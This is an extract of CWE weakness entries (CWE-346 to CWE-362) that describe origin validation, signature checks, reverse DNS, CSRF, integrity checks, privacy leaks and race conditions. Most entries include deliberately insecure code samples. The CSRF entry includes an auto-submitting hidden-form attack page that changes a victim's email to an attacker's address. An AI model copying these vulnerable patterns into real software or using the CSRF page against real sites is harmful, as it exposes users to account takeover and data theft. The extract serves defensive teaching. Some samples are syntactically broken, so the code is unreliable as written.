The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.

**References**

**Maintenance Notes**

The specific ways in which the origin is not properly identified should be laid out as separate weaknesses. In some sense, this is more like a category.

**CWE-346: Origin Validation Error**

**Weakness ID:** 346 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**

The software does not properly verify that the source of data or communication is valid.

**Terminology Notes**

The "Origin Validation Error" term was used by Taimur Aslam in his August 1995 thesis. Although not formally defined, an issue is considered to be an origin validation error if either (1) "an object [accepts] input from an unauthorized subject," or (2) "the system [fails] to properly or completely authenticate a subject." A later section says that an origin validation error can occur when the system (1) "does not properly authenticate a user or process" or (2) "does not properly authenticate the shared data or libraries." The only example provided in the thesis (covered by OSVDB:57615) involves a setuid program running command-line arguments without dropping privileges. So, this definition (and its examples in the thesis) effectively cover other weaknesses such as CWE-287 (Improper Authentication), CWE-285 (Improper Authorization), and CWE-250 (Execution with Unnecessary Privileges). There appears to be little usage of this term today, except in the SecurityFocus vulnerability database, where the term is used for a variety of issues, including web-browser problems that allow violation of the Same Origin Policy and improper validation of the source of an incoming message.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- Language-independent

**Common Consequences**

**Access Control**

**Other**

Gain privileges / assume identity

Varies by context

An attacker can access any functionality that is inadvertently accessible to the source.

**Demonstrative Examples**

**Example 1:**
This Android application will remove a user account when it receives an intent to do so:

**Java Example:**

```java
IntentFilter filter = new IntentFilter("com.example.RemoveUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
public class DeleteReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        int userID = intent.getIntExtra("userID");
        destroyUserData(userID);
    }
}
```

This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create a whitelist of trusted applications using the manifest.xml file.

**Example 2:**

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

**Java Example:**

```java
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeDataToView(view, UserData);
            return false;
        }
        else{
            return true;
        }
    }
}
```

**Objective-C Example:**

```objective-c
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest
navigationType:(UIWebViewNavigationType)exNavigationType {
    NSURL *URL = [exRequest URL];
    if ([URL scheme] isEqualToString:"exampleScheme")
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeDataToView:[URL query]];}
    return NO;
}
return YES;
```

A call into native code can then be initiated by passing parameters within the URL:

**Javascript Example:**

```javascript
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

#### Maintenance Notes

This entry has some significant overlap with other CWE entries and may need some clarification. See terminology notes.
CWE-347: Improper Verification of Cryptographic Signature

Weakness ID: 347 (Weakness Base) Status: Draft

Description

Summary
The software does not verify, or incorrectly verifies, the cryptographic signature for data.

Time of Introduction

• Architecture and Design
• Implementation

Applicable Platforms

Languages
• All

Common Consequences

Access Control
Integrity
Confidentiality
Gain privileges / assume identity
Modify application data
Execute unauthorized code or commands
An attacker could gain access to sensitive data and possibly execute unauthorized code.

Demonstrative Examples

In the following code, a JarFile object is created from a downloaded file.

Java Example:  
```java
File f = new File(downloadedFilePath);
JarFile jf = new JarFile(f);
```

The JAR file that was potentially downloaded from an untrusted source is created without verifying the signature (if present). An alternate constructor that accepts a boolean verify parameter should be used instead.

Observed Examples

Reference  Description
CVE-2002-1706  Accepts a configuration file without a Message Integrity Check (MIC) signature.
CVE-2002-1796  Does not properly verify signatures for "trusted" entities.
CVE-2005-2181  Insufficient verification allows spoofing.
CVE-2005-2182  Insufficient verification allows spoofing.

Related Attack Patterns
CAPEC-ID 463

**CWE-348: Use of Less Trusted Source**

**Weakness ID:** 348 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**

The software has two different sources of the same data or information, but it uses the source that has less support for verification, is less trusted, or is less resistant to attack.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Access Control**

**Bypass protection mechanism**

**Gain privileges / assume identity**

An attacker could utilize the untrusted data source to bypass protection mechanisms and gain access to sensitive data.

**Demonstrative Examples**

This code attempts to limit the access of a page to certain IP Addresses. It checks the 'HTTP_X_FORWARDED_FOR' header in case an authorized user is sending the request through a proxy.

**PHP Example:** *Bad Code*

```php
$requestingIP = '0.0.0.0';
if (array_key_exists("HTTP_X_FORWARDED_FOR", $_SERVER)) {
    $requestingIP = $_SERVER["HTTP_X_FORWARDED_FOR"]; 
else{
    $requestingIP = $_SERVER["REMOTE_ADDR"];
}
if(in_array($requestingIP,$ipWhitelist)){
    generatePage();
    return;
} else{
    echo "You are not authorized to view this page";
    return;
}
```

The 'HTTP_X_FORWARDED_FOR' header can be user controlled and so should never be trusted. An attacker can falsify the header to gain access to the page.

This fixed code only trusts the 'REMOTE_ADDR' header and so avoids the issue:

**PHP Example:** *Good Code*

```php
$requestingIP = '0.0.0.0';
if (array_key_exists("HTTP_X_FORWARDED_FOR", $_SERVER)) {
    echo "This application cannot be accessed through a proxy.";
    return;
else{
    $requestingIP = $_SERVER["REMOTE_ADDR"]; 
}
...```

Be aware that 'REMOTE_ADDR' can still be spoofed. This may seem useless because the server will send the response to the fake address and not the attacker, but this may still be enough to conduct an attack. For example, if the generatePage() function in this code is resource intensive, an attacker could flood the server with fake requests using an authorized IP and consume...
significant resources. This could be a serious DoS attack even though the attacker would never see the page's sensitive content.

CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action

**Weakness ID:** 350 *(Weakness Variant)*  
**Status:** Draft

**Description**

**Summary**

The software performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.

**Extended Description**

Since DNS names can be easily spoofed or misreported, and it may be difficult for the software to detect if a trusted DNS server has been compromised, DNS names do not constitute a valid authentication mechanism.

When the software performs a reverse DNS resolution for an IP address, if an attacker controls the server for that IP address, then the attacker can cause the server to return an arbitrary hostname. As a result, the attacker may be able to bypass authentication, cause the wrong hostname to be recorded in log files to hide activities, or perform other attacks.

Attackers can spoof DNS names by either (1) compromising a DNS server and modifying its records (sometimes called DNS cache poisoning), or (2) having legitimate control over a DNS server associated with their IP address.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms**

- **Languages**
  - Language-independent

**Common Consequences**

- **Access Control**
  - Gain privileges / assume identity
  - Bypass protection mechanism

Malicious users can fake authentication information by providing false DNS information.

**Demonstrative Examples**

**Example 1:**

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host.
CWE Version 2.11
CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action

C Example:

```c
struct hostent *hp; struct in_addr myaddr; char *tHost = "trustme.example.com";
myaddr.s_addr = inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
    trusted = true;
} else {
    trusted = false;
}
```

Java Example:

```java
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
    trusted = true;
}
```

C# Example:

```csharp
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
    trusted = true;
}
```

If an attacker can poison the DNS cache, they can gain trusted status.

Example 2:

In these examples, a connection is established if a request is made by a trusted host.

C/C++ Example:

```c
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    clilen = sizeof(cli);
    h=gethostbyname(inet_ntoa(cliAddr.sin_addr));
    if (h->h_name==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
}
```

Java Example:

```java
while(true) {
    DatagramPacket rp=new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    String in = new String(p.getData(),0, rp.getLength());
    InetAddress IPAddress = rp.getAddress();
    int port = rp.getPort();
    if ((rp.getHostAddress()==...) & (in==...)) {
        out = secret.getBytes();
        DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port);
        outSock.send(sp);
    }
}
```

These examples check if a request is from a trusted host before responding to a request, but the code only verifies the hostname as stored in the request packet. An attacker can spoof the hostname, thus impersonating a trusted client.

</tbody>
</table>

### Potential Mitigations

**Architecture and Design**

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

**Implementation**

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

### References

### Maintenance Notes

CWE-350, CWE-247, and CWE-292 were merged into CWE-350 in CWE 2.5. CWE-247 was originally derived from Seven Pernicious Kingdoms, CWE-350 from PLOVER, and CWE-292 from CLASP. All taxonomies focused closely on the use of reverse DNS for authentication of incoming requests.

CWE-352: Cross-Site Request Forgery (CSRF)

Description

Summary
The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.

Extended Description
When a web server is designed to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it might be possible for an attacker to trick a client into making an unintentional request to the web server which will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in exposure of data or unintended code execution.

Alternate Terms
- Session Riding
- Cross Site Reference Forgery
- XSRF

Time of Introduction
- Architecture and Design

Applicable Platforms

Languages
- Language-independent

Technology Classes
- Web-Server

Common Consequences
Confidentiality
Integrity
Availability
Non-Repudiation
Access Control
Gain privileges / assume identity
Bypass protection mechanism
Read application data
Modify application data
DoS: crash / exit / restart

The consequences will vary depending on the nature of the functionality that is vulnerable to CSRF. An attacker could effectively perform any operations as the victim. If the victim is an administrator or privileged user, the consequences may include obtaining complete control over the web application - deleting or stealing data, uninstalling the product, or using it to launch other attacks against all of the product's users. Because the attacker has the identity of the victim, the scope of CSRF is limited only by the victim's privileges.

Likelihood of Exploit
Medium to High

Detection Methods
Manual Analysis
High
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual analysis can be useful for finding this weakness, and for minimizing false positives assuming an understanding of business logic. However, it might not achieve desired code coverage within limited time constraints. For black-box analysis, if credentials are not known for privileged accounts, then the most security-critical portions of the application may not receive sufficient attention.
Consider using OWASP CSRFTester to identify potential issues and aid in manual analysis. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis
Limited
CSRF is currently difficult to detect reliably using automated techniques. This is because each application has its own implicit security policy that dictates which requests can be influenced by an outsider and automatically performed on behalf of a user, versus which requests require strong confidence that the user intends to make the request. For example, a keyword search of the public portion of a web site is typically expected to be encoded within a link that can be launched automatically when the user clicks on the link.

Automated Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Dynamic Analysis with automated results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner

Dynamic Analysis with manual results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction

Demonstrative Examples
This example PHP code attempts to secure the form submission process by validating that the user submitting the form has a valid session. A CSRF attack would not be prevented by this countermeasure because the attacker forges a request through the user's web browser in which a valid session already exists.

The following HTML is intended to allow a user to update a profile.

**HTML Example:**
```
<form action="/url/profile.php" method="post">
    <input type="text" name="firstname"/>
    <input type="text" name="lastname"/>
    <br/>
    <input type="text" name="email"/>
    <input type="submit" name="submit" value="Update"/>
</form>
```

profile.php contains the following code.

**PHP Example:**
```
// initiate the session in order to validate sessions
session_start();
// if the session is registered to a valid user then allow update
if (!session_is_registered("username")) {
    echo "invalid session detected!";
    // Redirect user to login page
    [...] exit;
}
CWE-352: Cross-Site Request Forgery (CSRF)

This code may look protected since it checks for a valid session. However, CSRF attacks can be staged from virtually any tag or HTML construct, including image tags, links, embed or object tags, or other attributes that load background images.

The attacker can then host code that will silently change the username and email address of any user that visits the page while remaining logged in to the target web application. The code might be an innocent-looking web page such as:

**HTML Example:**

```
<html>
<head>
<script>
function SendAttack () {
    form.email = "attacker@example.com";
    // send to profile.php
    form.submit();
}
</script>
</head>
<body onload="javascript:SendAttack();">
<form action="http://victim.example.com/profile.php" id="form" method="post">
<input type="hidden" name="firstname" value="Funny">
<input type="hidden" name="lastname" value="Joke">
<br/>
<input type="hidden" name="email">
</form>
</body>
</html>
```

Notice how the form contains hidden fields, so when it is loaded into the browser, the user will not notice it. Because SendAttack() is defined in the body's onload attribute, it will be automatically called when the victim loads the web page.

Assuming that the user is already logged in to victim.example.com, profile.php will see that a valid user session has been established, then update the email address to the attacker's own address. At this stage, the user's identity has been compromised, and messages sent through this profile could be sent to the attacker's address.

</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, use anti-CSRF packages such as the OWASP CSRFGuard. [R.352.3]

Another example is the ESAPI Session Management control, which includes a component for CSRF. [R.352.9]
Implementation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

Architecture and Design
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [R.352.5]
Note that this can be bypassed using XSS (CWE-79).

Architecture and Design
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Note that this can be bypassed using XSS (CWE-79).

Architecture and Design
Use the "double-submitted cookie" method as described by Felten and Zeller:
When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [R.352.4]
Note that this can probably be bypassed using XSS (CWE-79), or when using web technologies that enable the attacker to read raw headers from HTTP requests.

Architecture and Design
Do not use the GET method for any request that triggers a state change.

Implementation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
Note that this can be bypassed using XSS (CWE-79). An attacker could use XSS to generate a spoofed Referer, or to generate a malicious request from a page whose Referer would be allowed.

**Nature** | **Type** | **ID** | **Name** | **Page**
---|---|---|---|---
PeerOf | 79 | Improper Neutralization of Input During Web Page Generation ("Cross-site Scripting") | 1000 | 131
MemberOf | V | 635 | Weaknesses Used by NVD | 635 | 985
MemberOf | V | 884 | CWE Cross-section | 884 | 1323

**Relationship Notes**
This can be resultant from XSS, although XSS is not necessarily required.

**Research Gaps**
This issue was under-reported in CVE until around 2008, when it began to gain prominence. It is likely to be present in most web applications.

**Theoretical Notes**
The CSRF topology is multi-channel:
1. Attacker (as outsider) to intermediary (as user). The interaction point is either an external or internal channel.
2. Intermediary (as user) to server (as victim). The activation point is an internal channel.

**CWE-353: Missing Support for Integrity Check**

**Weakness ID:** 353 (Weakness Base)  
**Status:** Draft

**Description**

**Summary**
The software uses a transmission protocol that does not include a mechanism for verifying the integrity of the data during transmission, such as a checksum.

**Extended Description**

If integrity check values or "checksums" are omitted from a protocol, there is no way of determining if data has been corrupted in transmission. The lack of checksum functionality in a protocol removes the first application-level check of data that can be used. The end-to-end philosophy of checks states that integrity checks should be performed at the lowest level that they can be completely implemented. Excluding further sanity checks and input validation performed by applications, the protocol's checksum is the most important level of checksum, since it can be performed more completely than at any previous level and takes into account entire messages, as opposed to single packets.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

<table>
<thead>
<tr>
<th>Integrity</th>
<th>Other</th>
<th>Other</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data that is parsed and used may be corrupted.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Non-Repudiation</th>
<th>Other</th>
<th>Other</th>
</tr>
</thead>
<tbody>
<tr>
<td>Without a checksum it is impossible to determine if any changes have been made to the data after it was sent.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Likelihood of Exploit**

Medium

**Demonstrative Examples**

In this example, a request packet is received, and privileged information is sent to the requester:

```java
while(true) {
    DatagramPacket rp = new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    InetAddress IPAddress = rp.getAddress();
    int port = rp.getPort();
    out = secret.getBytes();
    DatagramPacket sp = new DatagramPacket(out, out.length, IPAddress, port);
    outSock.send(sp);
}
```

The response containing secret data has no integrity check associated with it, allowing an attacker to alter the message without detection.

**Potential Mitigations**

**Architecture and Design**

Add an appropriately sized checksum to the protocol, ensuring that data received may be simply validated before it is parsed and used.

**Implementation**

Ensure that the checksums present in the protocol design are properly implemented and added to each message before it is sent.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
<td></td>
</tr>
</tbody>
</table>
CWE-354: Improper Validation of Integrity Check Value

**Description**

**Summary**

The software does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.

**Extended Description**

Improper validation of checksums before use results in an unnecessary risk that can easily be mitigated. The protocol specification describes the algorithm used for calculating the checksum. It is then a simple matter of implementing the calculation and verifying that the calculated checksum and the received checksum match. Improper verification of the calculated checksum and the received checksum can lead to far greater consequences.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Integrity**

**Other**

**Modify application data**

**Other**

Integrity checks usually use a secret key that helps authenticate the data origin. Skipping integrity checking generally opens up the possibility that new data from an invalid source can be injected.

**Integrity**

**Other**

**Other**

Data that is parsed and used may be corrupted.

**References**

Non-Repudiation

Other

Hide activities

Other

Without a checksum check, it is impossible to determine if any changes have been made to the data after it was sent.

Likelihood of Exploit

Medium

Demonstrative Examples

C/C++ Example: 

```c
sd = socket(AF_INET, SOCK_DGRAM, 0); serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    clilen = sizeof(cli);
    if (inet_ntoa(cli.sin_addr)==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
}
```

Java Example:  

```java
while(true) {
    DatagramPacket packet = new DatagramPacket(data,data.length,IPAddress, port);
    socket.send(sendPacket);
}
```

Potential Mitigations

Implementation

Ensure that the checksums present in messages are properly checked in accordance with the protocol specification before they are parsed and used.

CWE-355: User Interface Security Issues

Category ID: 355 (Category)  Status: Draft

Description

Summary

Weaknesses in this category are related to or introduced in the User Interface (UI).
CWE-356: Product UI does not Warn User of Unsafe Actions

Weakness ID: 356 (Weakness Base)  Status: Incomplete

Description

Summary
The software's user interface does not warn the user before undertaking an unsafe action on behalf of that user. This makes it easier for attackers to trick users into inflicting damage to their system.

Extended Description
Software systems should warn users that a potentially dangerous action may occur if the user proceeds. For example, if the user downloads a file from an unknown source and attempts to execute the file on their machine, then the application's GUI can indicate that the file is unsafe.

CWE-358: Improperly Implemented Security Check for Standard

**Description**

**Summary**

The software does not implement or incorrectly implements one or more security-relevant checks as specified by the design of a standardized algorithm, protocol, or technique.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All
**Modes of Introduction**
This is an implementation error, in which the algorithm/technique requires certain security-related behaviors or conditions that are not implemented or checked properly, thus causing a vulnerability.

**Common Consequences**
Access Control
Bypass protection mechanism

**Observed Examples**

<table>

**CWE-359: Exposure of Private Information ('Privacy Violation')**

**Weakness ID:** 359 (Weakness Class)

**Status:** Incomplete

**Description**

**Summary**
The software does not properly prevent private data (such as credit card numbers) from being accessed by actors who either (1) are not explicitly authorized to access the data or (2) do not have the implicit consent of the people to which the data is related.

**Extended Description**
Mishandling private information, such as customer passwords or Social Security numbers, can compromise user privacy and is often illegal. An exposure of private information does not necessarily prevent the software from working properly, and in fact it might be intended by the
developer, but it can still be undesirable (or explicitly prohibited by law) for the people who are associated with this private information.

Privacy violations may occur when:
- Private user information enters the program.
- The data is written to an external location, such as the console, file system, or network.

Private data can enter a program in a variety of ways:
- Directly from the user in the form of a password or personal information
- Accessed from a database or other data store by the application
- Indirectly from a partner or other third party

Some types of private information include:
- Government identifiers, such as Social Security Numbers
- Contact information, such as home addresses and telephone numbers
- Geographic location - where the user is (or was)
- Employment history
- Financial data - such as credit card numbers, salary, bank accounts, and debts
- Pictures, video, or audio
- Behavioral patterns - such as web surfing history, when certain activities are performed, etc.
- Relationships (and types of relationships) with others - family, friends, contacts, etc.
- Communications - e-mail addresses, private e-mail messages, SMS text messages, chat logs, etc.
- Health - medical conditions, insurance status, prescription records
- Credentials, such as passwords, which can be used to access other information.

Some of this information may be characterized as PII (Personally Identifiable Information), Protected Health Information (PHI), etc. Categories of private information may overlap or vary based on the intended usage or the policies and practices of a particular industry.

Depending on its location, the type of business it conducts, and the nature of any private data it handles, an organization may be required to comply with one or more of the following federal and state regulations: - Safe Harbor Privacy Framework [R.359.2] - Gramm-Leach Bliley Act (GLBA) [R.359.3] - Health Insurance Portability and Accountability Act (HIPAA) [R.359.4] - California SB-1386 [R.359.5].

Sometimes data that is not labeled as private can have a privacy implication in a different context. For example, student identification numbers are usually not considered private because there is no explicit and publicly-available mapping to an individual student's personal information. However, if a school generates identification numbers based on student social security numbers, then the identification numbers should be considered private.

Security and privacy concerns often seem to compete with each other. From a security perspective, all important operations should be recorded so that any anomalous activity can later be identified. However, when private data is involved, this practice can in fact create risk. Although there are many ways in which private data can be handled unsafely, a common risk stems from misplaced trust. Programmers often trust the operating environment in which a program runs, and therefore believe that it is acceptable store private information on the file system, in the registry, or in other locally-controlled resources. However, even if access to certain resources is restricted, this does not guarantee that the individuals who do have access can be trusted.

Alternate Terms
- Privacy leak
- Privacy leakage

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Applicable Platforms
- Languages
CWE-359: Exposure of Private Information ('Privacy Violation')

Architectural Paradigms

- Language-independent
- Mobile Application

Common Consequences

Confidentiality
Read application data

Demonstrative Examples

Example 1:
In 2004, an employee at AOL sold approximately 92 million private customer e-mail addresses to a spammer marketing an offshore gambling web site [R.359.1]. In response to such high-profile exploits, the collection and management of private data is becoming increasingly regulated.

Example 2:
The following code contains a logging statement that tracks the contents of records added to a database by storing them in a log file. Among other values that are stored, the getPassword() function returns the user-supplied plaintext password associated with the account.

C# Example:

```csharp
Bad Code
pass = getPassword();
...
dbmsLog.WriteLine(id + ":" + pass + ":" + type + ":" + tstamp);
```

The code in the example above logs a plaintext password to the filesystem. Although many developers trust the filesystem as a safe storage location for data, it should not be trusted implicitly, particularly when privacy is a concern.

Example 3:
This code uses location to determine the user's current US State location.
First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

XML Example:

```xml
Bad Code
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
```

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

Java Example:

```java
Bad Code
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);
```

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.

CWE-360: Trust of System Event Data

| Weakness ID: | 360 (Weakness Base) | Status: | Incomplete |

Description

Summary
Security based on event locations are insecure and can be spoofed.

Extended Description
Events are a messaging system which may provide control data to programs listening for events. Events often do not have any type of authentication framework to allow them to be verified from a trusted source. Any application, in Windows, on a given desktop can send a message to any window on the same desktop. There is no authentication framework for these messages. Therefore, any message can be used to manipulate any process on the desktop if the process does not check the validity and safeness of those messages.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences
- Integrity
- Confidentiality
- Availability
- Access Control
- Gain privileges / assume identity
- Execute unauthorized code or commands
  - If one trusts the system-event information and executes commands based on it, one could potentially take actions based on a spoofed identity.

Likelihood of Exploit
- High

Demonstrative Examples
This example code prints out secret information when an authorized user activates a button:

Java Example:

```
public void actionPerformed(ActionEvent e) {
    if (e.getSource() == button) {
        System.out.println("print out secret information");
    }
}
```

This code does not attempt to prevent unauthorized users from activating the button. Even if the button is rendered non-functional to unauthorized users in the application UI, an attacker can easily send a false button press event to the application window and expose the secret information.

**Potential Mitigations**

**Architecture and Design**

Never trust or rely any of the information in an Event for security.

**CWE-361: Time and State**

**Category ID: 361 (Category)**

**Status: Incomplete**

**Description**

**Summary**

Weaknesses in this category are related to the improper management of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads.

**Extended Description**

Distributed computation is about time and state. That is, in order for more than one component to communicate, state must be shared, and all that takes time. Most programmers anthropomorphize their work. They think about one thread of control carrying out the entire program in the same way they would if they had to do the job themselves. Modern computers, however, switch between tasks very quickly, and in multi-core, multi-CPU, or distributed systems, two events may take place at exactly the same time. Defects rush to fill the gap between the programmer’s model of how a program executes and what happens in reality. These defects are related to unexpected interactions between threads, processes, time, and information. These interactions happen through shared state: semaphores, variables, the file system, and, basically, anything that can store information.

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Weakness ID: 362 (Weakness Class) Status: Draft

Description

Summary

The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.

Extended Description

This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider.
A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc.

A race condition violates these properties, which are closely related:

- **Exclusivity** - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution.
- **Atomicity** - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource.

A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x).

The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- C (*Sometimes*)
- C++ (*Sometimes*)
- Java (*Sometimes*)
- Language-independent

**Architectural Paradigms**
- Concurrent Systems Operating on Shared Resources (*Often*)

**Common Consequences**

**Availability**
- DoS: resource consumption (CPU)
- DoS: resource consumption (memory)
- DoS: resource consumption (other)

When a race condition makes it possible to bypass a resource cleanup routine or trigger multiple initialization routines, it may lead to resource exhaustion (CWE-400).

**Availability**
- DoS: crash / exit / restart
- DoS: instability

When a race condition allows multiple control flows to access a resource simultaneously, it might lead the program(s) into unexpected states, possibly resulting in a crash.

**Confidentiality**

**Integrity**

**Read files or directories**

**Read application data**

When a race condition is combined with predictable resource names and loose permissions, it may be possible for an attacker to overwrite or access confidential data (CWE-59).

**Likelihood of Exploit**
- Medium

**Detection Methods**
CWE Version 2.11
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

